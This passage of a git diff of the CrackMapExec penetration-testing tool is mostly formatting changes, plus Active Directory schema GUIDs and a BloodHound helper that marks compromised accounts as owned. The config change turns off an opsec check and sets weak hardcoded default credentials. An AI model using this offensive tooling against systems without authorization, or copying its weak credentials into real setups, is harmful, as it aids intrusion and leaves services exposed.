a/cme/data/cme.conf b/cme/data/cme.conf index b0a5d364..d0276920 100755 --- a/cme/data/cme.conf +++ b/cme/data/cme.conf @@ -4,7 +4,7 @@ last_used_db = smb pwn3d_label = Pwn3d! audit_mode = log_mode = False -ignore_opsec = False +ignore_opsec = True [BloodHound] bh_enabled = False @@ -17,7 +17,7 @@ bh_pass = neo4j api_host = 127.0.0.1 api_port = 1337 username = empireadmin -password = Password123! +password = password123 [Metasploit] rpc_host = 127.0.0.1 diff --git a/cme/first_run.py b/cme/first_run.py index cc579960..3a6267a7 100755 --- a/cme/first_run.py +++ b/cme/first_run.py @@ -1,7 +1,9 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- -import os +from os import mkdir +from os.path import exists +from os.path import join as path_join import shutil import configparser from configparser import NoSectionError, NoOptionError @@ -11,42 +13,49 @@ from cme.logger import cme_logger def first_run_setup(logger=cme_logger): - if not os.path.exists(TMP_PATH): - os.mkdir(TMP_PATH) + if not exists(TMP_PATH): + mkdir(TMP_PATH) - if not os.path.exists(CME_PATH): - logger.display('First time use detected') - logger.display('Creating home directory structure') - os.mkdir(CME_PATH) + if not exists(CME_PATH): + logger.display("First time use detected") + logger.display("Creating home directory structure") + mkdir(CME_PATH) - folders = ['logs', 'modules', 'protocols', 'workspaces', 'obfuscated_scripts', 'screenshots'] + folders = ( + "logs", + "modules", + "protocols", + "workspaces", + "obfuscated_scripts", + "screenshots", + ) for folder in folders: - if not os.path.exists(os.path.join(CME_PATH, folder)): + if not exists(path_join(CME_PATH, folder)): logger.display(f"Creating missing folder {folder}") - os.mkdir(os.path.join(CME_PATH, folder)) + mkdir(path_join(CME_PATH, folder)) initialize_db(logger) - if not os.path.exists(CONFIG_PATH): - logger.display('Copying default configuration file') - default_path = os.path.join(DATA_PATH, 'cme.conf') + if not exists(CONFIG_PATH): + logger.display("Copying default configuration file") + default_path = path_join(DATA_PATH, "cme.conf") shutil.copy(default_path, CME_PATH) else: # This is just a quick check to make sure the config file isn't the old 3.x format try: config = configparser.ConfigParser() config.read(CONFIG_PATH) - config.get('CME', 'workspace') - config.get('CME', 'pwn3d_label') - config.get('CME', 'audit_mode') - config.get('BloodHound', 'bh_enabled') - config.get('CME', 'log_mode') + config.get("CME", "workspace") + config.get("CME", "pwn3d_label") + config.get("CME", "audit_mode") + config.get("BloodHound", "bh_enabled") + config.get("CME", "log_mode") except (NoSectionError, NoOptionError): - logger.display('Old configuration file detected, replacing with new version') - default_path = os.path.join(DATA_PATH, 'cme.conf') + logger.display("Old configuration file detected, replacing with new version") + default_path = path_join(DATA_PATH, "cme.conf") shutil.copy(default_path, CME_PATH) - # if not os.path.exists(CERT_PATH): + # if not exists(CERT_PATH): # logger.display('Generating SSL certificate') # try: # check_output(['openssl', 'help'], stderr=PIPE) @@ -57,8 +66,8 @@ def first_run_setup(logger=cme_logger): # except OSError as e: # if e.errno == errno.ENOENT: # logger.error('OpenSSL command line utility is not installed, could not generate certificate, using default certificate') - # default_path = os.path.join(DATA_PATH, 'default.pem') - # shutil.copy(default_path, CERT_PATH) + # default_path = path_join(DATA_PATH, 'default.pem') + # shutil.copy(default_path, CERT_PATH) # else: # logger.error('Error while generating SSL certificate: {}'.format(e)) # sys.exit(1) diff --git a/cme/helpers/bash.py b/cme/helpers/bash.py index 38e7f0d9..c3a797b0 100644 --- a/cme/helpers/bash.py +++ b/cme/helpers/bash.py @@ -5,5 +5,5 @@ from cme.paths import DATA_PATH def get_script(path): - with open(os.path.join(DATA_PATH, path), 'r') as script: + with open(os.path.join(DATA_PATH, path), "r") as script: return script.read() diff --git a/cme/helpers/bloodhound.py b/cme/helpers/bloodhound.py index 38b12bba..ac4e2378 100644 --- a/cme/helpers/bloodhound.py +++ b/cme/helpers/bloodhound.py @@ -1,54 +1,55 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- + def add_user_bh(user, domain, logger, config): users_owned = [] if isinstance(user, str): - users_owned.append({'username': user.upper(), 'domain': domain.upper()}) + users_owned.append({"username": user.upper(), "domain": domain.upper()}) else: users_owned = user - if config.get('BloodHound', 'bh_enabled') != "False": + if config.get("BloodHound", "bh_enabled") != "False": try: from neo4j.v1 import GraphDatabase except: from neo4j import GraphDatabase from neo4j.exceptions import AuthError, ServiceUnavailable + uri = f"bolt://{config.get('BloodHound', 'bh_uri')}:{config.get('BloodHound', 'bh_port')}" - driver = GraphDatabase.driver(uri, auth=(config.get('BloodHound', 'bh_user'), config.get('BloodHound', 'bh_pass')), encrypted=False) + driver = GraphDatabase.driver( + uri, + auth=( + config.get("BloodHound", "bh_user"), + config.get("BloodHound", "bh_pass"), + ), + encrypted=False, + ) try: with driver.session() as session: with session.begin_transaction() as tx: for info in users_owned: - if info['username'][-1] == '$': - user_owned = info['username'][:-1] + "." + info['domain'] - account_type = 'Computer' + if info["username"][-1] == "$": + user_owned = info["username"][:-1] + "." + info["domain"] + account_type = "Computer" else: - user_owned = info['username'] + "@" + info['domain'] - account_type = 'User' + user_owned = info["username"] + "@" + info["domain"] + account_type = "User" - result = tx.run( - f"MATCH (c:{account_type} {{name:\"{user_owned}\"}}) RETURN c" - ) + result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) RETURN c') - if result.data()[0]['c'].get('owned') in (False, None): - logger.debug( - f"MATCH (c:{account_type} {{name:\"{user_owned}\"}}) SET c.owned=True RETURN c.name AS name" - ) - result = tx.run( - f"MATCH (c:{account_type} {{name:\"{user_owned}\"}}) SET c.owned=True RETURN c.name AS name" - ) + if result.data()[0]["c"].get("owned") in (False, None): + logger.debug(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name') + result = tx.run(f'MATCH (c:{account_type} {{name:"{user_owned}"}}) SET c.owned=True RETURN c.name AS name') logger.highlight(f"Node {user_owned} successfully set as owned in BloodHound") except AuthError as e: - logger.error( - f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid." - ) + logger.fail(f"Provided Neo4J credentials ({config.get('BloodHound', 'bh_user')}:{config.get('BloodHound', 'bh_pass')}) are not valid.") return except ServiceUnavailable as e: - logger.error(f"Neo4J does not seem to be available on {uri}.") + logger.fail(f"Neo4J does not seem to be available on {uri}.") return except Exception as e: - logger.error("Unexpected error with Neo4J") - logger.error("Account not found on the domain") + logger.fail("Unexpected error with Neo4J") + logger.fail("Account not found on the domain") return - driver.close() \ No newline at end of file + driver.close() diff --git a/cme/helpers/http.py b/cme/helpers/http.py index 1716bf4c..f2112174 100644 --- a/cme/helpers/http.py +++ b/cme/helpers/http.py @@ -3,22 +3,22 @@ import random -def get_desktop_uagent(uagent=None): +def get_desktop_uagent(uagent=None): desktop_uagents = { - "MSIE9.0" : "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)", - "MSIE8.0" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)", - "MSIE7.0" : "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)", - "MSIE6.0" : "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", - "Chrome32" : "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36", - "Chrome31" : "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36", + "MSIE9.0": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)", + "MSIE8.0": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0)", + "MSIE7.0": "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)", + "MSIE6.0": "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", + "Chrome32": "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36", + "Chrome31": "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36", "Firefox25": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0", "Firefox24": "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0,", "Safari5.1": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13+ (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2", - "Safari5.0": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16" + "Safari5.0": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16", } - if not uagent: + if not uagent: return desktop_uagents[random.choice(desktop_uagents.keys())] elif uagent: - return desktop_uagents[uagent] \ No newline at end of file + return desktop_uagents[uagent] diff --git a/cme/helpers/misc.py b/cme/helpers/misc.py index b02445f8..7d956750 100755 --- a/cme/helpers/misc.py +++ b/cme/helpers/misc.py @@ -9,19 +9,19 @@ import os def identify_target_file(target_file): - with open(target_file, 'r') as target_file_handle: + with open(target_file, "r") as target_file_handle: for i, line in enumerate(target_file_handle): if i == 1: - if line.startswith('\n'): - return 'nmap' + if line.startswith("\n"): + return "nmap" - return 'unknown' + return "unknown" def gen_random_string(length=10): - return ''.join(random.sample(string.ascii_letters, int(length))) + return "".join(random.sample(string.ascii_letters, int(length))) def validate_ntlm(data): @@ -34,11 +34,11 @@ def validate_ntlm(data): def called_from_cmd_args(): for stack in inspect.stack(): - if stack[3] == 'print_host_info': + if stack[3] == "print_host_info": return True - if stack[3] == 'plaintext_login' or stack[3] == 'hash_login' or stack[3] == 'kerberos_login': + if stack[3] == "plaintext_login" or stack[3] == "hash_login" or stack[3] == "kerberos_login": return True - if stack[3] == 'call_cmd_args': + if stack[3] == "call_cmd_args": return True return False @@ -53,12 +53,12 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None): path. Note: This function was backported from the Python 3 source code. """ + # Check that a given file can be accessed with the correct mode. # Additionally check that `file` is not a directory, as on Windows # directories pass the os.access check. def _access_check(fn, mode): - return (os.path.exists(fn) and os.access(fn, mode) and - not os.path.isdir(fn)) + return os.path.exists(fn) and os.access(fn, mode) and not os.path.isdir(fn) # If we're given a path with a directory part, look it up directly # rather than referring to PATH directories. This includes checking diff --git a/cme/helpers/msada_guids.py b/cme/helpers/msada_guids.py index 69157cb0..4d019149 100644 --- a/cme/helpers/msada_guids.py +++ b/cme/helpers/msada_guids.py @@ -25,1857 +25,1857 @@ This library is, for the moment, not present in the Impacket version used by Cra """ SCHEMA_OBJECTS = { - '2a132580-9373-11d1-aebc-0000f80367c1': 'FRS-Partner-Auth-Level', - '2a8c68fc-3a7a-4e87-8720-fe77c51cbe74': 'ms-DS-Non-Members-BL', - '963d2751-48be-11d1-a9c3-0000f80367c1': 'Mscope-Id', - 'bf967a0c-0de6-11d0-a285-00aa003049e2': 'Range-Lower', - '29259694-09e4-4237-9f72-9306ebe63ab2': 'ms-TS-Primary-Desktop', - '963d2756-48be-11d1-a9c3-0000f80367c1': 'DHCP-Class', - '1562a632-44b9-4a7e-a2d3-e426c96a3acc': 'ms-PKI-Private-Key-Recovery-Agent', - '2a132581-9373-11d1-aebc-0000f80367c1': 'FRS-Primary-Member', - '4b1cba4e-302f-4134-ac7c-f01f6c797843': 'ms-DS-Phonetic-First-Name', - '7bfdcb7d-4807-11d1-a9c3-0000f80367c1': 'Msi-File-List', - 'bf967a0d-0de6-11d0-a285-00aa003049e2': 'Range-Upper', - 'f63aa29a-bb31-48e1-bfab-0a6c5a1d39c2': 'ms-TS-Secondary-Desktops', - '5245801a-ca6a-11d0-afff-0000f80367c1': 'FRS-Replica-Set-GUID', - 'f217e4ec-0836-4b90-88af-2f5d4bbda2bc': 'ms-DS-Phonetic-Last-Name', - 'd9e18313-8939-11d1-aebc-0000f80367c1': 'Msi-Script', - 'bf967a0e-0de6-11d0-a285-00aa003049e2': 'RDN', - '9daadc18-40d1-4ed1-a2bf-6b9bf47d3daa': 'ms-TS-Primary-Desktop-BL', - 'e0fa1e8a-9b45-11d0-afdd-00c04fd930c9': 'Display-Specifier', - 'bf967aa8-0de6-11d0-a285-00aa003049e2': 'Print-Queue', - 'bf967a8f-0de6-11d0-a285-00aa003049e2': 'DMD', - '26d9736b-6070-11d1-a9c6-0000f80367c1': 'FRS-Replica-Set-Type', - '6cd53daf-003e-49e7-a702-6fa896e7a6ef': 'ms-DS-Phonetic-Department', - '96a7dd62-9118-11d1-aebc-0000f80367c1': 'Msi-Script-Name', - 'bf967a0f-0de6-11d0-a285-00aa003049e2': 'RDN-Att-ID', - '34b107af-a00a-455a-b139-dd1a1b12d8af': 'ms-TS-Secondary-Desktop-BL', - '1be8f174-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Root-Path', - '5bd5208d-e5f4-46ae-a514-543bc9c47659': 'ms-DS-Phonetic-Company-Name', - 'bf967937-0de6-11d0-a285-00aa003049e2': 'Msi-Script-Path', - 'bf967a10-0de6-11d0-a285-00aa003049e2': 'Registered-Address', - 'faaea977-9655-49d7-853d-f27bb7aaca0f': 'MS-TS-Property01', - '5fd4250c-1262-11d0-a060-00aa006c33ed': 'Display-Template', - '83cc7075-cca7-11d0-afff-0000f80367c1': 'Query-Policy', - '5a8b3261-c38d-11d1-bbc9-0080c76670c0': 'SubSchema', - '5245801f-ca6a-11d0-afff-0000f80367c1': 'FRS-Root-Security', - 'e21a94e4-2d66-4ce5-b30d-0ef87a776ff0': 'ms-DS-Phonetic-Display-Name', - '96a7dd63-9118-11d1-aebc-0000f80367c1': 'Msi-Script-Size', - 'bf967a12-0de6-11d0-a285-00aa003049e2': 'Remote-Server-Name', - '3586f6ac-51b7-4978-ab42-f936463198e7': 'MS-TS-Property02', - 'bf967915-0de6-11d0-a285-00aa003049e2': 'Account-Expires', - 'ddac0cee-af8f-11d0-afeb-00c04fd930c9': 'FRS-Service-Command', - 'def449f1-fd3b-4045-98cf-d9658da788b5': 'ms-DS-HAB-Seniority-Index', - '9a0dc326-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Authenticate', - 'bf967a14-0de6-11d0-a285-00aa003049e2': 'Remote-Source', - '70004ef5-25c3-446a-97c8-996ae8566776': 'MS-TS-ExpireDate', - 'bf967aa9-0de6-11d0-a285-00aa003049e2': 'Remote-Mail-Recipient', - 'bf967a80-0de6-11d0-a285-00aa003049e2': 'Attribute-Schema', - '2a132582-9373-11d1-aebc-0000f80367c1': 'FRS-Service-Command-Status', - 'c881b4e2-43c0-4ebe-b9bb-5250aa9b434c': 'ms-DS-Promotion-Settings', - '9a0dc323-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Base-Priority', - 'bf967a15-0de6-11d0-a285-00aa003049e2': 'Remote-Source-Type', - '54dfcf71-bc3f-4f0b-9d5a-4b2476bb8925': 'MS-TS-ExpireDate2', - 'e0fa1e8b-9b45-11d0-afdd-00c04fd930c9': 'Dns-Zone', - '031952ec-3b72-11d2-90cc-00c04fd91ab1': 'Account-Name-History', - '1be8f175-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Staging-Path', - '98a7f36d-3595-448a-9e6f-6b8965baed9c': 'ms-DS-SiteName', - '9a0dc32e-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Computer-Type', - '2a39c5b0-8960-11d1-aebc-0000f80367c1': 'Remote-Storage-GUID', - '41bc7f04-be72-4930-bd10-1f3439412387': 'MS-TS-ExpireDate3', - '2a39c5bd-8960-11d1-aebc-0000f80367c1': 'Remote-Storage-Service-Point', - '7f56127d-5301-11d1-a9c5-0000f80367c1': 'ACS-Aggregate-Token-Rate-Per-User', - '2a132583-9373-11d1-aebc-0000f80367c1': 'FRS-Time-Last-Command', - '20119867-1d04-4ab7-9371-cfc3d5df0afd': 'ms-DS-Supported-Encryption-Types', - '18120de8-f4c4-4341-bd95-32eb5bcf7c80': 'MSMQ-Computer-Type-Ex', - '281416c0-1968-11d0-a28f-00aa003049e2': 'Repl-Property-Meta-Data', - '5e11dc43-204a-4faf-a008-6863621c6f5f': 'MS-TS-ExpireDate4', - '39bad96d-c2d6-4baf-88ab-7e4207600117': 'document', - '7f561283-5301-11d1-a9c5-0000f80367c1': 'ACS-Allocable-RSVP-Bandwidth', - '2a132584-9373-11d1-aebc-0000f80367c1': 'FRS-Time-Last-Config-Change', - '29cc866e-49d3-4969-942e-1dbc0925d183': 'ms-DS-Trust-Forest-Trust-Info', - '9a0dc33a-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Cost', - '7bfdcb83-4807-11d1-a9c3-0000f80367c1': 'Repl-Topology-Stay-Of-Execution', - '0ae94a89-372f-4df2-ae8a-c64a2bc47278': 'MS-TS-LicenseVersion', - 'a8df74d6-c5ea-11d1-bbcb-0080c76670c0': 'Residential-Person', - '1cb355a1-56d0-11d1-a9c6-0000f80367c1': 'ACS-Cache-Timeout', - '1be8f172-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Update-Timeout', - '461744d7-f3b6-45ba-8753-fb9552a5df32': 'ms-DS-Tombstone-Quota-Factor', - '9a0dc334-c100-11d1-bbc5-0080c76670c0': 'MSMQ-CSP-Name', - 'bf967a16-0de6-11d0-a285-00aa003049e2': 'Repl-UpToDate-Vector', - '4b0df103-8d97-45d9-ad69-85c3080ba4e7': 'MS-TS-LicenseVersion2', - '7a2be07c-302f-4b96-bc90-0795d66885f8': 'documentSeries', - '7f56127a-5301-11d1-a9c5-0000f80367c1': 'ACS-Direction', - '2a132585-9373-11d1-aebc-0000f80367c1': 'FRS-Version', - '7b7cce4f-f1f5-4bb6-b7eb-23504af19e75': 'ms-DS-Top-Quota-Usage', - '2df90d83-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Dependent-Client-Service', - 'bf967a18-0de6-11d0-a285-00aa003049e2': 'Replica-Source', - 'f8ba8f81-4cab-4973-a3c8-3a6da62a5e31': 'MS-TS-LicenseVersion3', - '19195a5a-6da0-11d0-afd3-00c04fd930c9': 'Domain', - 'b93e3a78-cbae-485e-a07b-5ef4ae505686': 'rFC822LocalPart', - '1cb355a0-56d0-11d1-a9c6-0000f80367c1': 'ACS-DSBM-DeadTime', - '26d9736c-6070-11d1-a9c6-0000f80367c1': 'FRS-Version-GUID', - 'd064fb68-1480-11d3-91c1-0000f87a57d4': 'MS-DS-Machine-Account-Quota', - '2df90d76-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Dependent-Client-Services', - 'bf967a1c-0de6-11d0-a285-00aa003049e2': 'Reports', - '70ca5d97-2304-490a-8a27-52678c8d2095': 'MS-TS-LicenseVersion4', - '19195a5b-6da0-11d0-afd3-00c04fd930c9': 'Domain-DNS', - '1cb3559e-56d0-11d1-a9c6-0000f80367c1': 'ACS-DSBM-Priority', - '1be8f173-a9ff-11d0-afe2-00c04fd930c9': 'FRS-Working-Path', - '638ec2e8-22e7-409c-85d2-11b21bee72de': 'ms-DS-Object-Reference', - '9a0dc33c-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Digests', - '45ba9d1a-56fa-11d2-90d0-00c04fd91ab1': 'Repl-Interval', - 'f3bcc547-85b0-432c-9ac0-304506bf2c83': 'MS-TS-ManagingLS', - '6617188d-8f3c-11d0-afda-00c04fd930c9': 'RID-Manager', - '1cb3559f-56d0-11d1-a9c6-0000f80367c1': 'ACS-DSBM-Refresh', - '66171887-8f3c-11d0-afda-00c04fd930c9': 'FSMO-Role-Owner', - '2b702515-c1f7-4b3b-b148-c0e4c6ceecb4': 'ms-DS-Object-Reference-BL', - '0f71d8e0-da3b-11d1-90a5-00c04fd91ab1': 'MSMQ-Digests-Mig', - 'bf967a1d-0de6-11d0-a285-00aa003049e2': 'Reps-From', - '349f0757-51bd-4fc8-9d66-3eceea8a25be': 'MS-TS-ManagingLS2', - 'bf967a99-0de6-11d0-a285-00aa003049e2': 'Domain-Policy', - '7f561287-5301-11d1-a9c5-0000f80367c1': 'ACS-Enable-ACS-Service', - '5fd424a1-1262-11d0-a060-00aa006c33ed': 'Garbage-Coll-Period', - '93f701be-fa4c-43b6-bc2f-4dbea718ffab': 'ms-DS-Operations-For-Az-Role', - '2df90d82-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Ds-Service', - 'bf967a1e-0de6-11d0-a285-00aa003049e2': 'Reps-To', - 'fad5dcc1-2130-4c87-a118-75322cd67050': 'MS-TS-ManagingLS3', - '7bfdcb89-4807-11d1-a9c3-0000f80367c1': 'RID-Set', - 'f072230e-aef5-11d1-bdcf-0000f80367c1': 'ACS-Enable-RSVP-Accounting', - 'bf96797a-0de6-11d0-a285-00aa003049e2': 'Generated-Connection', - 'f85b6228-3734-4525-b6b7-3f3bb220902c': 'ms-DS-Operations-For-Az-Role-BL', - '2df90d78-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Ds-Services', - '7d6c0e93-7e20-11d0-afd6-00c04fd930c9': 'Required-Categories', - 'f7a3b6a0-2107-4140-b306-75cb521731e5': 'MS-TS-ManagingLS4', - '8bfd2d3d-efda-4549-852c-f85e137aedc6': 'domainRelatedObject', - '7f561285-5301-11d1-a9c5-0000f80367c1': 'ACS-Enable-RSVP-Message-Logging', - '16775804-47f3-11d1-a9c3-0000f80367c1': 'Generation-Qualifier', - '1aacb436-2e9d-44a9-9298-ce4debeb6ebf': 'ms-DS-Operations-For-Az-Task', - '9a0dc331-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Encrypt-Key', - '7bfdcb7f-4807-11d1-a9c3-0000f80367c1': 'Retired-Repl-DSA-Signatures', - '87e53590-971d-4a52-955b-4794d15a84ae': 'MS-TSLS-Property01', - '7860e5d2-c8b0-4cbb-bd45-d9455beb9206': 'room', - 'eded5844-b3c3-41c3-a9e6-8984b52b7f98': 'ms-Org-Group-Subtype-Name', - '7f561286-5301-11d1-a9c5-0000f80367c1': 'ACS-Event-Log-Level', - 'f0f8ff8e-1191-11d0-a060-00aa006c33ed': 'Given-Name', - 'a637d211-5739-4ed1-89b2-88974548bc59': 'ms-DS-Operations-For-Az-Task-BL', - '9a0dc32f-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Foreign', - 'b7c69e6d-2cc7-11d2-854e-00a0c983f608': 'Token-Groups', - '47c77bb0-316e-4e2f-97f1-0d4c48fca9dd': 'MS-TSLS-Property02', - '09b10f14-6f93-11d2-9905-0000f87a57d4': 'DS-UI-Settings', - '49b7560b-4707-4aa0-a27c-e17a09ca3f97': 'ms-Org-Is-Organizational-Group', - 'dab029b6-ddf7-11d1-90a5-00c04fd91ab1': 'ACS-Identity-Name', - 'f754c748-06f4-11d2-aa53-00c04fd7d83a': 'Global-Address-List', - '79d2f34c-9d7d-42bb-838f-866b3e4400e2': 'ms-DS-Other-Settings', - '9a0dc32c-c100-11d1-bbc5-0080c76670c0': 'MSMQ-In-Routing-Servers', - '46a9b11d-60ae-405a-b7e8-ff8a58d456d2': 'Token-Groups-Global-And-Universal', - '6a84ede5-741e-43fd-9dd6-aa0f61578621': 'ms-DFSR-DisablePacketPrivacy', - '80212842-4bdc-11d1-a9c4-0000f80367c1': 'Rpc-Container', - '8f905f24-a413-435a-8ed1-35385ec179f7': 'ms-Org-Other-Display-Names', - 'f072230c-aef5-11d1-bdcf-0000f80367c1': 'ACS-Max-Aggregate-Peak-Rate-Per-User', - 'bf96797d-0de6-11d0-a285-00aa003049e2': 'Governs-ID', - '564e9325-d057-c143-9e3b-4f9e5ef46f93': 'ms-DS-Principal-Name', - '8ea825aa-3b7b-11d2-90cc-00c04fd91ab1': 'MSMQ-Interval1', - '040fc392-33df-11d2-98b2-0000f87a57d4': 'Token-Groups-No-GC-Acceptable', - '87811bd5-cd8b-45cb-9f5d-980f3a9e0c97': 'ms-DFSR-DefaultCompressionExclusionFilter', - '3fdfee52-47f4-11d1-a9c3-0000f80367c1': 'DSA', - 'ee5b6790-3358-41a8-93f2-134ce21f3813': 'ms-Org-Leaders', - '7f56127e-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Duration-Per-Flow', - 'f30e3bbe-9ff0-11d1-b603-0000f80367c1': 'GP-Link', - 'fbb9a00d-3a8c-4233-9cf9-7189264903a1': 'ms-DS-Quota-Amount', - '99b88f52-3b7b-11d2-90cc-00c04fd91ab1': 'MSMQ-Interval2', - 'bf967a21-0de6-11d0-a285-00aa003049e2': 'Revision', - 'a68359dc-a581-4ee6-9015-5382c60f0fb4': 'ms-DFSR-OnDemandExclusionFileFilter', - 'bf967aac-0de6-11d0-a285-00aa003049e2': 'rpc-Entry', - 'afa58eed-a698-417e-9f56-fad54252c5f4': 'ms-Org-Leaders-BL', - 'f0722310-aef5-11d1-bdcf-0000f80367c1': 'ACS-Max-No-Of-Account-Files', - 'f30e3bbf-9ff0-11d1-b603-0000f80367c1': 'GP-Options', - '6655b152-101c-48b4-b347-e1fcebc60157': 'ms-DS-Quota-Effective', - '9a0dc321-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Journal', - 'bf967a22-0de6-11d0-a285-00aa003049e2': 'Rid', - '7d523aff-9012-49b2-9925-f922a0018656': 'ms-DFSR-OnDemandExclusionDirectoryFilter', - '66d51249-3355-4c1f-b24e-81f252aca23b': 'Dynamic-Object', - '1cb3559c-56d0-11d1-a9c6-0000f80367c1': 'ACS-Max-No-Of-Log-Files', - 'f30e3bc1-9ff0-11d1-b603-0000f80367c1': 'GPC-File-Sys-Path', - '16378906-4ea5-49be-a8d1-bfd41dff4f65': 'ms-DS-Quota-Trustee', - '9a0dc324-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Journal-Quota', - '66171889-8f3c-11d0-afda-00c04fd930c9': 'RID-Allocation-Pool', - '11e24318-4ca6-4f49-9afe-e5eb1afa3473': 'ms-DFSR-Options2', - '88611bdf-8cf4-11d0-afda-00c04fd930c9': 'rpc-Group', - '7f561284-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Peak-Bandwidth', - 'f30e3bc0-9ff0-11d1-b603-0000f80367c1': 'GPC-Functionality-Version', - 'b5a84308-615d-4bb7-b05f-2f1746aa439f': 'ms-DS-Quota-Used', - '9a0dc325-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Label', - '66171888-8f3c-11d0-afda-00c04fd930c9': 'RID-Available-Pool', - '936eac41-d257-4bb9-bd55-f310a3cf09ad': 'ms-DFSR-CommonStagingPath', - 'dd712229-10e4-11d0-a05f-00aa006c33ed': 'File-Link-Tracking', - '7f56127c-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Peak-Bandwidth-Per-Flow', - '32ff8ecc-783f-11d2-9916-0000f87a57d4': 'GPC-Machine-Extension-Names', - '8a167ce4-f9e8-47eb-8d78-f7fe80abb2cc': 'ms-DS-NC-Repl-Cursors', - '4580ad25-d407-48d2-ad24-43e6e56793d7': 'MSMQ-Label-Ex', - '66171886-8f3c-11d0-afda-00c04fd930c9': 'RID-Manager-Reference', - '135eb00e-4846-458b-8ea2-a37559afd405': 'ms-DFSR-CommonStagingSizeInMb', - '88611be1-8cf4-11d0-afda-00c04fd930c9': 'rpc-Profile', - 'f0722311-aef5-11d1-bdcf-0000f80367c1': 'ACS-Max-Size-Of-RSVP-Account-File', - '42a75fc6-783f-11d2-9916-0000f87a57d4': 'GPC-User-Extension-Names', - '9edba85a-3e9e-431b-9b1a-a5b6e9eda796': 'ms-DS-NC-Repl-Inbound-Neighbors', - '9a0dc335-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Long-Lived', - '6617188c-8f3c-11d0-afda-00c04fd930c9': 'RID-Next-RID', - 'd64b9c23-e1fa-467b-b317-6964d744d633': 'ms-DFSR-StagingCleanupTriggerInPercent', - '8e4eb2ed-4712-11d0-a1a0-00c04fd930c9': 'File-Link-Tracking-Entry', - '1cb3559d-56d0-11d1-a9c6-0000f80367c1': 'ACS-Max-Size-Of-RSVP-Log-File', - '7bd4c7a6-1add-4436-8c04-3999a880154c': 'GPC-WQL-Filter', - '855f2ef5-a1c5-4cc4-ba6d-32522848b61f': 'ms-DS-NC-Repl-Outbound-Neighbors', - '9a0dc33f-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Migrated', - '6617188a-8f3c-11d0-afda-00c04fd930c9': 'RID-Previous-Allocation-Pool', - 'b786cec9-61fd-4523-b2c1-5ceb3860bb32': 'ms-DFS-Comment-v2', - 'f29653cf-7ad0-11d0-afd6-00c04fd930c9': 'rpc-Profile-Element', - '81f6e0df-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Max-Token-Bucket-Per-Flow', - 'bf96797e-0de6-11d0-a285-00aa003049e2': 'Group-Attributes', - '97de9615-b537-46bc-ac0f-10720f3909f3': 'ms-DS-NC-Replica-Locations', - '1d2f4412-f10d-4337-9b48-6e5b125cd265': 'MSMQ-Multicast-Address', - '7bfdcb7b-4807-11d1-a9c3-0000f80367c1': 'RID-Set-References', - '35b8b3d9-c58f-43d6-930e-5040f2f1a781': 'ms-DFS-Generation-GUID-v2', - '89e31c12-8530-11d0-afda-00c04fd930c9': 'Foreign-Security-Principal', - '7f56127b-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Token-Rate-Per-Flow', - 'bf967980-0de6-11d0-a285-00aa003049e2': 'Group-Membership-SAM', - '3df793df-9858-4417-a701-735a1ecebf74': 'ms-DS-NC-RO-Replica-Locations', - 